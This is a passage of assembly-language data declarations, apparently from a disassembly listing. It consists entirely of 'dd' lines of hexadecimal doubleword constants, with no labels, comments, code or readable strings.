		dd 0B0878DB7h, 21A24423h, 77BC30h, 2AECF81Fh, 380AEBB9h
		dd 8E89CEh, 8805208Ah, 27109055h, 1C235678h, 6D88734Dh
		dd 13004514h, 48AE97E9h, 538CB3h, 7CA6AC43h, 6DBA8F71h
		dd 851EA63h, 2D0DE7Ah, 1EF624AAh, 40C626B9h, 0BE080B5h
		dd 41071FFDh, 7F77F0AEh, 34205E4Bh, 0AB643090h,	8F0AB08Ch
		dd 0C35F5E4Eh, 0DDC18ECCh
		dd 0D4417BBCh, 7F780B2Ch, 90D8303Ah, 434A3320h,	0AB58B05Eh
		dd 9FD72859h, 4BB2DC03h, 546985FAh, 9E518CEh, 7CE3453Ch
		dd 0CA9330C5h, 0CE51A000h, 0E6CD1766h, 2EE34A99h, 9C2348h
		dd 11DD30B8h, 3EE201D3h, 0C4D98A27h, 0BA370094h, 0F17AEB3h
		dd 3E002502h, 5A0C7F26h, 1252ED4Ah, 729E272h, 7436C6A2h
		dd 8810A86Ah, 85BA5A4h,	0E1BB70h, 9C1960F5h, 0EFA19EF3h
		dd 0E7D7650Bh, 6668C88Eh, 8219540h, 46331C6h, 0C5F52C81h
		dd 216CDC2Ah, 0CBE610A1h, 0A3E5E109h, 585024h, 1B8FEA32h
		dd 1412E28Ch, 1C88804Ah, 0B4740DFh, 97E5704h, 70AC11D2h
		dd 0CD0BF020h, 0C455CE43h, 0E37644C8h, 82E70418h, 942AA29h
		dd 946EC49Dh, 8E57C1Ah,	0C0671BE4h, 8F4F691Fh, 0CA619E04h
		dd 0E8B28B06h, 7400492Dh, 1C6573D1h, 3C983775h,	5A86DF20h
		dd 61048C8Dh, 0CCD13C16h, 42F86CD0h, 90ACAAC7h,	2D6059Ch
		dd 5EAB3E9Bh, 90F2EAF0h, 0E5583102h, 7044CD48h,	75432FD8h
		dd 2DE39420h, 0D71C9BDEh, 0B2406104h, 0E175BACDh, 7C5C48DAh
		dd 38C33E8h, 552DF7C2h,	2EE07512h, 1576387h, 90B3A3A4h
		dd 1C46F5Fh, 31AD5E52h,	6B93F4D9h, 4B87C84h, 0C8BC1EDh
		dd 0CB41D24h, 13BCC063h, 7195696h, 0E0F82F95h, 0F86DC51Eh
		dd 0E8D4047Fh, 0F9025CA3h, 74BD0034h, 525165E3h, 137C7405h
		dd 0E303A83Dh, 3094B244h, 0E301DFA1h, 6448D120h, 0E83343D7h
		dd 0B6301BF2h, 33EC00D8h, 235F836Dh, 795F3BE9h,	9A97F844h
		dd 0B0047895h, 3D09B018h, 465E707Ch, 1BC41818h,	80179060h
		dd 230137A3h, 656D7215h, 43FD8FFDh, 0A423F871h,	0C0359B1h
		dd 1F28E8C4h, 28A2627h,	1C2B387Bh, 87B4A6D7h, 0D0685AD9h
		dd 8AB58580h, 8362AC00h, 0AF99C695h, 0A79D01D6h, 0E490307Dh
		dd 0F0223E89h, 0E9522068h, 0D0FD0253h, 1D9746A5h, 22F8844h
		dd 734F4E60h, 0E7F4E5h,	0FE082D57h, 6483188Dh, 0CD958490h
		dd 603344C8h, 5805EAC8h, 0D0068A91h, 586B2FFEh,	0AF60E250h
		dd 5E614940h, 32A8D1CDh, 0C7CFDD8Ah, 8948E805h,	1448A4E8h
		dd 980BBA7Dh, 8741D72h,	0AA7FC88h, 54E389h, 0AFB1270Ch
		dd 10C05146h, 904A8FACh, 0F0405ABAh, 0CF18E2D4h, 0BE3168CCh
		dd 617276h, 0C1BB2F6Dh,	46A19C8Bh, 0DA58E525h, 278B0C8h
		dd 3E2B8621h, 787A9564h, 53E038E9h, 230E120h, 6474EF0Ch
		dd 1F63B600h, 165F4D91h, 0E63E022Eh, 62CF309Eh,	32A8225Dh
		dd 48140102h, 0DC9E2A80h, 4261E180h, 0FC00F7EFh, 8E845B76h
		dd 966C8F10h, 0BED18944h, 0F4A85Eh, 0DDC1B5F9h,	73249B78h
		dd 38C497h, 7C2DEE44h, 0BDCBF0E5h, 0F6F0AAh, 7B0F0510h
		dd 0ED921F20h, 447C201Ch, 3401ADABh, 38953E82h,	0B031CCE3h
		dd 0ED807078h, 694A23F1h, 0F134471h, 0BD0F0B37h, 9E895F40h
		dd 6EA09103h, 0B0E06ACCh, 7C0C0BFCh, 2C04E118h,	0C052EA30h
		dd 1450946Fh, 260091E8h, 15D4058Ch, 0C434BCCEh,	88888A07h
		dd 9C749047h, 5AE58008h, 0A581F06h, 400480A3h, 231CA4Fh
		dd 483FAA01h, 8CF038CCh, 4E2A5918h, 32A88814h, 10E3F140h
		dd 2FFEF49Bh, 1354E151h, 74B33A00h, 88D96F0Ah, 574058ECh
		dd 904994E9h, 0D08653D4h, 50625C10h, 829D3644h,	0B7133CE8h
		dd 0DDAC8094h, 42581E91h, 91CC9795h, 41D58001h,	19267AAh
		dd 5DB5193Ah, 6CC964ADh, 0F1918144h, 74680E2Fh,	54BEFB00h
		dd 0A53234ACh, 6777C617h, 9C23500Ah, 610F688Ch,	3C6A03F4h
		dd 0FBA46CE6h, 0FCC1B6E8h, 0E911A814h, 0C80D26A8h, 5FE04680h
		dd 0B7F697A2h, 87FA7402h, 0BBB1CCA4h, 1C23C03Eh, 9FF82C00h
		dd 0FDA3E913h, 38256468h, 0ED950C72h, 0E9D4C0D8h, 85B7B1C0h
		dd 6CB80BC8h, 1F6A8200h, 43BCCA08h, 0EC93E316h,	0BE63C0E0h
		dd 0DAB284B8h, 70F4B9FFh, 0E400CB5Bh, 8056BD0Eh, 93E60BC4h
		dd 287E11B8h, 461139Ch,	8BC3FFh, 0F4292C3Bh, 319C1559h
		dd 0C91FD488h, 1230046h, 0B43F55F0h, 2700B95Ch,	0F28451D4h
		dd 0DF9D30B8h, 6A271A12h, 0C7C934ACh, 465EB47Ch, 49320B1Dh
		dd 590803A8h, 0A018C8FAh, 8462241Bh, 113D0014h,	0CEDC04ABh
		dd 0C0A3BC02h, 57C8864Dh, 3090848Bh, 682D12ECh,	898CFB8Ch
		dd 0C02066CCh, 7ADE6B15h, 3674C30Fh, 4B01E08Ah,	5043E2EAh
		dd 12CAC012h, 0A3621FFEh, 301DB2D4h, 4502A6F8h,	0DA91C6FAh
		dd 0F94FE8Bh, 5F0C88DBh, 835A6189h, 0EB95EC5Fh,	0CD127CE0h
		dd 54CC5243h, 8029D6EDh, 0F740AB3Ch, 1B989101h,	1E529705h
		dd 2CC027Ah, 0B0F6AF2Eh, 40F4E500h, 9212977Ah, 52CBE14h
		dd 0F0C5FD93h, 6B74C6D4h, 4FE71F88h, 0E0688849h, 402ACC89h
		dd 0DCC7F3F4h, 0FE07A105h, 3EC406A6h, 3D54DB31h, 38CD02Fh
		dd 234B9B1Fh, 0A600FCB6h, 0D785290Dh, 1B021847h, 5175A90Ch
		dd 1B8DA2Ah, 0E09570ACh, 606252A6h, 0D092FFDh, 8F48857Ch
		dd 563A88Ch, 8813BAD5h,	80E52ACCh, 8AD0C241h, 16855EBh
		dd 400615E5h, 258830BAh, 0D444CEE8h, 0F189D300h, 99ED69B7h
		dd 602C0010h, 444807D5h, 2701D84Bh, 652B352Ah, 206CB4B7h
		dd 0A5051412h, 93DAE800h, 1A686A9Dh, 901755B8h,	50801691h
		dd 62E58EC8h, 0C20020B7h, 31B996Eh, 247F6B18h, 2EE233F5h
		dd 0C8864844h, 0BA0FD000h, 2BC0B87Ch, 277F09B5h, 0B4508E62h
		dd 55E54709h, 0CB4004E0h, 0C610C8E2h, 5133C945h, 1812F194h
		dd 61C64C8Fh, 139CFC74h, 49ECA3E6h, 3C5E3E50h, 1F1646D6h
		dd 3680A713h, 0E972B0F2h, 0DF740024h, 83C81991h, 0F707C509h
		dd 0A3E8B6DDh, 8CFCAF94h, 465B3709h, 1C97C854h,	0EDE77490h
		dd 0C68B80BEh, 31B97231h, 2E3A85D4h, 2361058h, 6F6A7BC0h
		dd 50028106h, 2337AC97h, 0CB08E8B9h, 89AA405Eh,	594D8A30h
		dd 0B137D7BDh, 42320530h, 5BECA2D1h, 4370082Fh,	0D96E008Bh
		dd 0CA5EE22Fh, 55A1020Ch, 1043E6ABh, 0CE80984Bh, 40040DD1h
		dd 7FF10814h, 0E702D801h, 8027ADAh, 0A9F43076h,	0A044ECh
		dd 94EB3A2Bh, 5FB94D7Bh, 0BB06EA1Fh, 170D3F45h,	122A80C1h
		dd 30024192h, 0D0BB0C50h, 8ED404B7h, 18A2A0F6h,	4C4F6430h
		dd 0A22C0F7h, 35B15E01h, 270C7DD0h, 0AAD9B0EBh,	54730734h
		dd 146802E0h, 0A478B42Ah, 60124C01h, 30B291FFh,	0D30FA838h
		dd 4868FCDh, 800A951h, 87FED647h, 0E6103Dh, 5348F8FCh
		dd 911C6DABh, 7A04C275h, 0CD5CD901h, 0F90432EEh, 6B1248DEh
		dd 0B6B248B0h, 0C7A5EE64h, 9EB05627h, 1C3B2968h, 0D8A07B16h
		dd 5CD44964h, 0ECC2772Dh, 49A4A15Dh, 0EC380EEFh, 0FC5174D4h
		dd 5208C03Eh, 0FF291F04h, 0A8A738EAh, 580BD0D0h, 961CDE8Dh
		dd 0F40A3C6h, 0A904B277h, 1A4450BEh, 0F902CBE5h, 0B38E1589h
		dd 0C450F30Bh, 4CA0E1D7h, 72C95B4Dh, 257F3DA4h,	0C810E40h
		dd 204B8C6Ah, 0A837EA08h, 3E273084h, 5CC20B1Fh,	0B80AD0F0h
		dd 0A860293Fh, 8A947021h, 0E1E83090h, 1366F403h, 0C09C9D51h
		dd 8C37054Ch, 120DA8A8h, 0B04BFB5Fh, 54CC10CDh,	2C270077h
		dd 472A1A55h, 8E2EE09Dh, 4008C0ACh, 0E8521369h,	45353934h
		dd 6AFFA4EBh, 0DD37070Ch, 56E0B191h, 0F658E97h,	0CDD79953h
		dd 0AD50D260h, 473A0924h, 0C20B80C0h, 0B756F87Fh, 20906742h
		dd 5841F065h, 0C071D05h, 0FB91AAEFh, 0D40CFD7h,	0C01134D6h
		dd 0FC4D6A71h, 0CD004E63h, 53F67B02h, 72D7CDFh,	11C80A74h
		dd 91D4704Ch, 5102E30Eh, 3B907345h, 808E167h, 0B280202Fh
		dd 0DC8293BCh, 0DDB84050h
		dd 8558F316h, 12D8005Ch, 0F19D5A0h, 0FE5200ACh,	8DFD54AAh
		dd 0FB2DCA3Ch, 5D8CD9D3h, 73714783h, 0AFC9836Dh, 755F2141h
		dd 7CD432E0h, 4ABA3174h, 8CCCCF10h, 3042A720h, 185B63F2h
		dd 2819B70Dh, 4B20C6AFh, 683C098Ch, 0FA635828h,	1826D020h
		dd 18A18B30h, 10C4625Fh, 0F068A72h, 663138C7h, 32081801h
		dd 0BDB46401h, 103F3140h, 0FF03F81Dh, 36F26118h, 0C6BFAE08h
		dd 404F1D18h, 6109F933h, 0EE1818C2h, 2D982843h,	0D57E18C4h
		dd 1013EC06h, 209C4631h, 40031070h, 9BA02918h, 0C6E8BF18h
		dd 103D1730h, 31E9F320h, 4C281FC3h, 67CE0166h, 34090888h
		dd 3AD19C18h, 0B6C8040h, 0F92D10C6h, 0F4973140h, 1EAEB08h
		dd 20950339h, 9619B8A2h, 9550A111h, 19D46208h, 4130EBE6h
		dd 0D8B6E057h, 0F58B3110h, 3FFC608h, 4B6910A0h,	0A8FC2AF3h
		dd 96911D63h, 2E1018C5h, 38E96049h, 5A9F18C6h, 0D1F26510h
		dd 0C6944634h, 683130AEh, 1D8E08D2h, 11DA1898h,	30C690ABh
		dd 6510FB18h, 462909F0h, 302AC690h, 0D291C463h,	2B18313Ah
		dd 8CB58C71h, 1052E118h, 856669Bh, 2731599Ch, 22551029h
		dd 0B379088Ch, 9E66F830h, 3171AF20h, 0E08F67Fh,	0B18888Fh
		dd 1C5A0CC0h, 61C47838h, 490448D0h, 0C06C0A44h,	10B1C99Fh
		dd 0A6075BC8h, 5A490815h, 0F2331008h, 21B11F32h, 64609CA2h
		dd 7F072603h, 0BF1A4008h, 650FE0A8h, 8C8208C6h,	90CF4930h
		dd 8ED5F19h, 9442425h, 0DE20C092h, 0BC705445h, 0C4605456h
		dd 24A581E6h, 8966C3D8h, 2AA1EF38h, 6388A20Ah, 971082Fh
		dd 1920C154h, 0FCA6E9C6h, 2EB83148h, 1213A28h, 9055203Eh
		dd 0BC9D7844h, 913AA04h, 48D82235h, 67860214h, 100DF703h
		dd 31423D10h, 1037C951h, 8C0AC701h, 20979908h, 312092F5h
		dd 0C0109816h, 94780124h, 8110E903h, 9510EB52h,	0DCB12A1Fh
		dd 0F6993E66h, 29A76361h, 826BB7Bh, 1B8C1CE0h, 66912031h
		dd 71970816h, 0C8C8E932h, 0CC4A4FEh, 49BFA892h,	0B051AEDCh
		dd 8882343h, 0AC0F2720h, 0C8CC89A5h, 17C8715Ch,	7D26168h
		dd 814C8AA4h, 80D01840h, 0B5CC9A10h, 20562EEh, 3FAD0316h
		dd 0FCC82241h, 8B006765h, 0A6A40907h, 0F6430Eh,	8ED8DFCh
		dd 69579068h, 0C0593AF1h, 11E0243Eh, 3C55012Bh,	4030727Dh
		dd 441FD496h, 70045A01h, 2F9D2A88h, 6AFB3080h, 0BDEFD4BFh
		dd 0FC894E06h, 11C322h,	50C1419Bh, 0CBCAE78Dh, 7F02A7FEh
		dd 0ABB66865h, 5154E049h, 0DF543C04h, 5F3C5E1Eh, 8293F806h
		dd 0CC8CB43Dh, 7800784Eh, 0EDDC5A43h, 62E70787h, 0C048CF7Eh
		dd 0F1B17359h, 0A0646841h, 80B8BC3Bh, 4CE9247Bh, 475BE3A4h
		dd 62C83091h, 7029BC4h,	48808EFh, 0C57747AFh, 8E3C0D43h
		dd 9481F668h, 478F9E2Ah, 75D7D0C8h, 0E3F66BC6h,	5DA3B400h
		dd 54F2419Ch, 0A07A079Fh, 8090707Dh, 94D54207h,	5014E99Ch
		dd 62D30BC8h, 0F02C5835h, 4F2F18FEh, 77377045h,	0AADD4004h
		dd 0EAA2CBh, 0C23F9E0Ch, 0D3E3107h, 0C0B414D0h,	5FE401A0h
		dd 0E506BADCh, 0E10EF438h, 0C6206F7Ah, 0BD09693Dh, 2040A30Eh
		dd 68083EDh, 5150001Fh,	0CF9546C9h, 1574D6D3h, 40C785E4h
		dd 0D1B06882h, 267A83h,	0AB536F11h, 0B2618FCEh,	3B21BB00h
		dd 49FC50CAh, 42FE03E2h, 48C44CF3h, 0D1DEC3AFh,	86E5983Ch
		dd 78FCCBA3h, 86520670h, 0F0101164h, 0ACCC3C00h, 0CE463E0Ch
		dd 12B2B0A3h, 801A5430h, 838828E0h, 9E2D6600h, 0E5E9D37h
		dd 0DB3900C9h, 0E4D55743h, 0FF03E210h, 3CF19071h, 0CAC5C0E3h
		dd 59200037h, 0ECBE5266h, 0DD096AFFh, 2A497E2Fh, 0E8275850h
		dd 18A41C68h, 0A06B62CBh, 85078EAAh, 59D09E09h,	10880DF4h
		dd 0E4634B82h, 5706E680h, 0BECBDBE7h, 2B4C03E9h, 0A1F9E57Eh
		dd 2767488h, 7142090h, 3CF4C26Ah, 0CEC389D2h, 0FB441087h
		dd 944A023h, 40A41515h,	2A823C9Dh, 89033884h, 22BBECh
		dd 823E9D18h, 71233951h, 206D90Ch, 4068ADh, 1FC4A31Bh
		dd 6EE0FF37h, 3CB0F0Ch,	3084E042h, 0CA587B01h, 9C480993h
		dd 0D4905Ch, 45B7AA25h,	603106F4h, 62DA50D6h, 0D8A0AE04h
		dd 48058768h, 0B654B37Dh, 9341EC04h, 0A8B17601h, 0B08824E1h
		dd 9B3E6700h, 0FC72C2B6h, 0A380027h, 2B8B6F97h,	0A67D4CD6h
		dd 98A09CA2h, 0CEB11B1Fh, 8BCF1303h, 0F8630843h, 3C477FCh
		dd 7069C4Ah, 0B9068871h, 0B833CB5Ah, 56700040h,	30B008B7h
		dd 510A5F2Ah, 905CCF03h, 7F0EB421h, 9F6F411Eh, 8C3CE1CBh
		dd 7D84CD3Eh, 90234FCCh, 57A42404h, 48F7030Fh, 6142E363h
		dd 0F990906Dh, 0CA48DE4Ch, 840A40h, 0D8F6E6BAh,	0DF4C2891h
		dd 2E87107h, 770C104Ch,	9AFD8A40h, 55E5208Ch, 946F803Dh
		dd 7ACDD61h, 94A56B82h,	0E315AFB0h, 180D6FC2h, 753962E3h
		dd 0EF246800h, 0EA21CD4Ah, 0FDBE03C1h, 0D29CFBCEh, 0CA6201A1h
		dd 411FEC76h, 18788514h, 4971E463h, 62B80751h, 89024272h
		dd 0DC4C9607h, 3248D2B2h, 98909268h, 4975C92h, 0E769CBADh
		dd 7238D07Fh, 161FDA0Ch, 9870DF63h, 3130210Dh, 0FBE8B570h
		dd 77642222h, 0C8C47479h, 8092AD90h, 78DC02B3h,	53A70F0h
		dd 26AC4DA0h, 911FC4E1h, 84A0E714h, 0A307A71Eh,	66C81072h
		dd 560F3475h, 61763AFh,	1211743Eh, 2B50CBAh, 800A8444h
		dd 0E92FD900h, 778A0451h, 0EBE50724h, 37D39C07h, 0E7A899F0h
		dd 972124CBh, 229D135Ch, 0E4A7E0F8h, 0AA03AF90h, 10092D12h
		dd 0C0E8649Fh, 251C7DA8h, 64D08D30h, 0A058CE34h, 48E44CCCh
		dd 0CC81DC01h, 7F7008B3h, 62274041h, 0A040C4A0h, 2689E356h
		dd 0A6906104h, 0CEDBC044h, 0A4F00B59h, 0E59A6118h, 4868EA4Ch
		dd 899F5C79h, 0A01BB9A1h, 0E08278E2h, 0A88EE440h, 8450A981h
		dd 9E8C2009h, 30CB6044h, 0A838DAB3h, 0CC187B92h, 0A310FF5Ch
		dd 963F2430h, 0AD4E405Ch, 68121802h, 0EC24CDABh, 2136D003h
		dd 0EFDCB954h, 7B3BEC41h, 0BB193C22h, 0DC5DE0B4h, 20C00C7Ch
		dd 28247437h, 1CD0E04Ch, 0C143C90Ah, 0CB9C3B9Eh, 0E80C6587h
		dd 3E3E5188h, 4184C906h, 0CAC08D8h, 0CCE11103h,	9CEF7CBh
		dd 4F486FB0h, 0E8B7C00h, 0D6003E16h, 0B44CCFFAh, 4D834032h
		dd 0CA28BC9Ch, 170718C0h, 812A1098h, 791EB0B2h,	3A0967B8h
		dd 0C2C8A01Bh, 1F2411A6h, 14870B64h, 7A0B9C7Ch,	0B88075D6h
		dd 2E86B36Ch, 312A54FEh, 793B8C2Fh, 0DFA502FDh,	9020AA5Ch
		dd 8061E2BCh, 0F071C2FAh, 0CEE51E01h, 5565FB86h, 75D4588Ch
		dd 0C90070A1h, 0F4D07E64h, 4D2ECC7Ch, 0BC014C0Eh, 6E0358A3h
		dd 0ADC089EEh, 0D84C0104h, 0FC26C902h, 0AD4EFE64h, 2CB424BCh
		dd 91B002E7h, 3C62E63Fh, 4C7C412Ah, 216F08E4h, 0D054C945h
		dd 4342DD90h, 69EAEC00h, 9C089590h, 5E573030h, 0F27DE0D0h
		dd 67FA1109h, 2A54A04Bh, 28EB8946h, 3E865D6h, 68CD59E6h
		dd 7C8712B2h, 0D205B129h, 0D1CA3DD0h, 729C00BAh, 772C9ADFh
		dd 94983013h, 496A2840h, 10B27409h, 0A17D06h, 9A08BBCAh
		dd 0A6326330h, 7D9003E0h, 0A9DB8409h, 96C294Ch,	98FA26E7h
		dd 5886CD4Ch, 0E058DC7Dh, 0C702D680h, 0D913419Bh, 9402F8FEh
		dd 9448D855h, 1FE7208Ch, 0B323D63Bh, 6E84Ah, 1B8B0B21h
		dd 0B4467DFEh, 85E6E901h, 14E8CA7Ch, 40912C70h,	0C8F5876Fh
		dd 302E8F96h, 0AABC44B4h, 0A3EE34E3h, 22189898h, 6010633Bh
		dd 0E048FFE3h, 1F3607D6h, 0BFE269D2h, 8599D91Bh, 0E5F89C15h
		dd 2A04D824h, 5302ADFEh
		dd 0D45C6ACBh, 47D09C00h, 24300DEAh, 0A45CBCA1h, 955285C8h
		dd 1568C087h, 0ED58B124h, 83E44C58h, 81602Ah, 0CD27130h
		dd 0CEC17856h, 4A45F500h, 0C962C24Dh, 0F609426h, 3F09D753h
		dd 47268478h, 0CB0948E5h, 3B58A178h, 48DAA3AEh,	81384A44h
		dd 0FA808A8Ah, 4B43D828h, 0EE24D0EFh, 0ED89174Ch, 0CC7C54AAh
		dd 0FC62BE00h, 37E988B7h, 0AC0C0A50h, 1B147A1Bh, 224CE230h
		dd 5DE04BF7h, 0D3170307h, 0A5183075h, 13EBCAD0h, 3539C7EDh
		dd 83BC98E0h, 0CB28EF60h, 3DFB1937h, 6189E455h,	0B0D83662h
		dd 7EF31E03h, 0C2E366AAh, 516CC20Ch, 0FB8BBC54h, 0B4C1B32Fh
		dd 0E69889D6h, 0E55C1A78h, 90C81A34h, 40F8D261h, 0BA6BABECh
		dd 536388C3h, 5B783B3Fh, 4026F197h, 0CA013B24h,	0EB03E534h
		dd 98D8E20h, 0CC9ECCFh,	9878C5C4h, 0D6CC0060h, 0FD0BD8ECh
		dd 0CB6040C7h, 3151ED11h, 68AE6099h, 0E75F91DEh, 4E28FC02h
		dd 0E837262Ah, 0FC5827A4h, 3FCB10D9h, 0F48B0317h, 938FEDD5h
		dd 503902DBh, 40C82CEBh, 84CAC99h, 24E490B8h, 3004BE3Fh
		dd 46115D39h, 0B4D1CB26h, 61EA6000h, 785595D5h,	6E7000C9h
		dd 59A2FD42h, 0CE65C603h, 30023CF9h, 21471257h,	0B8E7982Ah
		dd 33C217C8h, 0E402B41Fh, 6EE3D557h, 28E66578h,	0DFC80501h
		dd 90F888AAh, 0EB005341h, 1C453947h, 39E8E7EAh,	45F01F4Bh
		dd 0CC2DFA29h, 0D640D37Ch, 90EDF4D4h, 187F6281h, 2F0B147Eh
		dd 5DE30978h, 0D3D2A801h, 0A4B0705Ch, 78ABA902h, 0CAF4664h
		dd 1C60B97Eh, 0EC34D838h, 6D620635h, 78DDF60Bh,	0AE4A9E03h
		dd 0C25C4F12h, 55088075h, 9BAA3B6h, 4D1330A0h, 87D2E8A4h
		dd 1031A67Ch, 50CD4000h, 6803F83h, 90736038h, 0E7089BD1h
		dd 4C62250Bh, 0F9102530h, 481FC3F8h, 7D61CC13h,	0AA32CCA0h
		dd 5C2CE1A6h, 0FAE0000Ch, 12F0A4C7h, 9914558h, 3E2F24Ch
		dd 6D4EF4h, 7829E438h, 307031C3h, 907A7430h, 543B639h
		dd 0B1CBA6EFh, 83A81F10h, 87BD31D7h, 1040ABDAh,	0BE1FBFAEh
		dd 885430A4h, 0E7AF00DCh, 0B4801E86h, 88B8960Eh, 0E501DFFDh
		dd 8F2FAD9Ah, 90F0B421h, 0AE18C7C0h, 588B79D1h,	51AB4481h
		dd 87143C57h, 0ECBA5FCAh, 5E309D40h, 0E820C24Bh, 80A19549h
		dd 72798A42h, 145407C0h, 98105316h, 0A802CF30h,	59082A28h
		dd 2D006CE2h, 5865490Ch, 0F101520Bh, 0FAA80F02h, 0A5CD7E7Dh
		dd 5816DF60h, 108BF4FBh, 3EA05410h, 0C4170901h,	42716350h
		dd 3149D050h, 76777Ch, 0CE3E69D0h, 0F6B835EEh, 0A162B10Ch
		dd 0BD41B047h, 10C67C42h, 62C87200h, 0E5F978D8h, 0DAFB0063h
		dd 9F66AE35h, 7C90248Bh, 81E3C63Fh, 9E4FC71Fh, 49E20630h
		dd 203A098h, 5DD083Ah, 0BF9E6BEh, 1C31A8D1h, 3FD4E801h
		dd 81EC780Fh, 0DD8662E7h, 193FB060h, 0E8C49D06h, 369CC43h
		dd 1001A730h, 9121CCDBh, 0D20BCACh, 1D39B239h, 0CA04B81Bh
		dd 50B0AD46h, 18042DDDh, 0F581030h, 7DDC9A01h, 5455F9D6h
		dd 0C5E4E2ECh, 9CD0FC48h, 5381BBBCh, 4B2A3474h,	0CEC8C0F2h
		dd 845136CBh, 65428F4h,	25E80640h, 3076F328h, 0ECDF840Bh
		dd 98340A1h, 14483314h,	1928A390h, 44B8CC97h, 13CC12Eh
		dd 696052ABh, 0B89C4723h, 605ACBF8h, 860B8037h,	9D00AB28h
		dd 0AF29FAAAh, 0B4486E17h, 55CB0680h, 1B00283Fh, 0D1C2F9EFh
		dd 0EC5D9CD4h, 0D2780F5Eh, 0A0DBEA06h, 3E34C7EDh, 0FFE57BA3h
		dd 6C27FF0h, 20A8EB30h,	74576EAh, 0CCAC8D3Bh, 43FE473Eh
		dd 0B0BF964Eh, 174D4B3Dh, 928FCF00h, 88CDEFACh,	7316308Ah
		dd 0AF9AF8A9h, 7C6E2A00h, 34D676D0h, 0A8901FF1h, 0DDF3C0BFh
		dd 0A493BCAh, 0E3E810Eh, 3568228h, 0AB0848F9h, 8BB42D3Ch
		dd 57FDDC10h, 0E7BE0604h, 28978FAFh, 0E0471398h, 0CE00A2E8h
		dd 75FEB685h, 4D9B6320h, 102C38B7h, 706F3Ch, 2FB9A41Eh
		dd 3B53DBE6h, 78E0419Ch, 3865D003h, 0CB1852F8h,	9BD08F75h
		dd 0A5500040h, 637EE1D9h, 9574E837h, 79B42407h,	835B2DB8h
		dd 0B8E29B4h, 0B9C66130h, 6EFBC0A0h, 0CA262226h, 0E025B4B0h
		dd 7FCE000h, 0D2FD886Fh, 0FC057515h, 0CB106228h, 2714F603h
		dd 0F457C804h, 0A8070C90h, 2B8B55DDh, 0ABCC816Bh, 1907AC88h
		dd 5DCABC00h, 3E6128CBh, 0EA0F8488h, 98B34824h,	0FA2A12ECh
		dd 0F2888826h, 48B27E2Eh, 0CE72AA10h, 0F0D70728h, 70352274h
		dd 4812091h, 62F1088h, 58064A6Ch, 16F80438h, 1A00DC9Ch
		dd 3FD4AC5Bh, 0CCF309CEh, 0FC8E5136h, 0E212B9C8h, 0A4011B09h
		dd 0E4ACE188h, 78A4D72Ah, 0C31826D2h, 4294A678h, 98A8D9BDh
		dd 0FC9C15F5h, 45208720h, 914D13B1h, 0EA8487BBh, 0C90F1298h
		dd 8808E478h, 89B8DE5Ch, 7D7C20A5h, 264D47E2h, 623427FBh
		dd 82000F36h, 531893Fh,	0EACC7E78h, 4BA80369h, 98C183F3h
		dd 8B108176h, 41186258h, 0CE8F6028h, 3EC86F42h,	4D164464h
		dd 308921BAh, 5913EC30h, 1448B87Ch, 47DB0716h, 6037D2C0h
		dd 0B799115Ah, 0A21F7A00h, 38DACC55h, 0EE8F00BEh, 30197D50h
		dd 4C94F2F3h, 0D04BEC1Dh, 0B0BC8B61h, 0AD19DA0h, 0FCFBCA4Ch
		dd 0E8130090h, 4FD56C9Eh, 0F95A4205h, 0D6846256h, 8B5CA400h
		dd 11ACD5Bh, 4054BCAAh,	60E1F6CEh, 0A20CC591h, 0A98706D4h
		dd 0CBD509D6h, 0F8206DA9h, 0D2E545F4h, 6AFA0107h, 824BDE33h
		dd 0F26F4AD4h, 575A0730h, 0BCE48885h, 1F3F170Ah, 18C850h
		dd 0A2676E4Dh, 0ED97278h, 0AAAD429Ch, 0D5FB0A80h, 6904CE87h
		dd 0F5A906B5h, 131238F0h, 0B424E740h, 55061894h, 0A97B4BDAh
		dd 0A4F0F810h, 5BD8090Ch, 0AC603703h, 53B0D2FCh, 6D582E7Bh
		dd 0CB510469h, 0F890A201h, 0E2EA93B1h, 23540E80h, 0CA204B07h
		dd 3625FFCh, 0A414455Ah, 0CBD00520h, 44B0F9D2h,	0BB6600C8h
		dd 3DDF858h, 3A02E404h,	47B25DCBh, 6338C1E8h, 4080AC31h
		dd 6FF0FC69h, 2F14FBB0h, 3E8A6AEh, 9BA33FE8h, 0B199A087h
		dd 0B540936h, 600B0515h, 0FD102065h, 98BCC04h, 0C58084E9h
		dd 160201D8h, 82FADD4Eh, 37DFDC38h, 79CC8078h, 2E2EA999h
		dd 1808E8F8h, 9A63C8E9h, 5CC8879Dh, 0F0DA4432h,	0EBC30224h
		dd 0DBA49F85h, 242CFA41h, 0EC7E6E90h, 7D6C3Ah, 0D97EDDF6h
		dd 2ED5573Bh, 1DC240Bh,	0D6C1339Fh, 0BBEFE44Ah,	0C12D0E8h
		dd 88F87A63h, 2009412Fh, 52D7B820h, 0A19DF50Bh,	8AE06324h
		dd 49E29089h, 93E01C8Ah, 2B50049Dh, 1443128Bh, 850C03E4h
		dd 0E9DB28B5h, 746CE99Bh, 0CF163849h, 106C86F5h, 8094731h
		dd 0C82F38DCh, 0EC48D058h, 0D0B62CF0h, 6205B4A4h, 0F8D182FFh
		dd 0E0D30C70h, 78AFC313h, 41F002A8h, 0EAB035Ah,	0BE6A8CA4h
		dd 0FCE3A890h, 3887095h, 45784898h, 64D0439Ah, 3A00AC58h
		dd 67424E75h, 530B68h, 1DF6F2AFh, 1916C6FBh, 67D6277h
		dd 0C64AA2Ch, 209EA42h,	3C59E298h, 0E43F9E8Bh, 49750528h
		dd 0C2FEC2C3h, 0DE05DDB0h, 1DFA50E4h, 3B731177h, 622A2E04h
		dd 0CE8A0B4h, 0A6E2FC00h, 0F8C36B4Eh, 4D540063h, 82CC03C6h
		dd 37056E80h, 72CBCF57h, 6A8318B1h, 0FABE5258h,	0C9B6B08Fh
		dd 447A1261h, 0A0C80C5Ch, 4D86DB1h, 309B602Ah, 0CD80F0A4h
		dd 0A0165200h, 0D00B8210h, 4E41004Ch, 6F5DDC64h, 0F8A1B58Eh
		dd 2ED06499h, 9D02AC7Dh, 0A44E343Fh, 6FC0E0EBh,	0F64704B1h
		dd 5499ED83h, 54841688h, 0FC2CAC5Eh, 0F71B1900h, 89302Ch
		dd 0EE4B695Eh, 34E40E87h, 3E0D0D0h, 0CD33C946h,	0EAE6E081h
		dd 2A50C2A6h, 0B0A14B58h
		dd 0E8B5C62Bh, 0CCB0CEADh, 119B0402h, 0E2DA4D81h, 0DC6480h
		dd 0CE8F8459h, 0CFDEA84Fh, 10F63C00h, 58FD0F05h, 0ED40378h
		dd 1D088431h, 681BBE3h,	0D25C64C5h, 5076227h, 7CC0E440h
